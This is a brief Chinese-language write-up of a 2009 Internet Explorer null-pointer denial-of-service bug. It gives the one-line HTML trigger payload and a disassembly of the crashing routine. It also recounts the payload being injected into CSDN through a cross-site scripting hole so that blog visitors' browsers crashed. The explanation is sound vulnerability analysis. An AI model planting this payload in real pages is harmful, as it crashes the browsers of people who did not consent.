IE screen 远程拒绝服务漏洞

参考 http://skypher.com/index.php/2009/01/07/msie-screen-null-ptr-dos-details/

执行 <BODY onload=screen[""]> 代码导致了 NULLPTR 引用(不引用任何对象),使浏览器崩溃。

7E2A80A5  mov         edi,edi
7E2A80A7  push        ebp
7E2A80A8  mov         ebp,esp
7E2A80AA  mov         eax,dword ptr [ebp+8]   ;这里拷贝字符串时出错
7E2A80AD  mov         cx,word ptr [eax]
7E2A80B0  test        cx,cx
7E2A80B3  je          7E2A80DC
7E2A80B5  push        esi
7E2A80B6  mov         edx,dword ptr [ebp+0Ch]
7E2A80B9  mov         esi,dword ptr [ebp+0Ch]
7E2A80BC  movzx       ecx,cx
7E2A80BF  shl         edx,19h
7E2A80C2  shr         esi,7
7E2A80C5  and         ecx,0FFFFFFDFh
7E2A80C8  or          edx,esi
7E2A80CA  add         edx,ecx
7E2A80CC  inc         eax
7E2A80CD  inc         eax
7E2A80CE  xor         ecx,ecx
7E2A80D0  mov         cx,word ptr [eax]
7E2A80D3  test        cx,cx
7E2A80D6  mov         dword ptr [ebp+0Ch],edx
7E2A80D9  jne         7E2A80B6
7E2A80DB  pop         esi
7E2A80DC  mov         eax,dword ptr [ebp+0Ch]
7E2A80DF  pop         ebp
7E2A80E0  ret         8

正巧零魂同学发现了 CSDN 的跨站漏洞,插了这个导致 IE 的远程拒绝服务漏洞代码,浏览博客就崩溃了。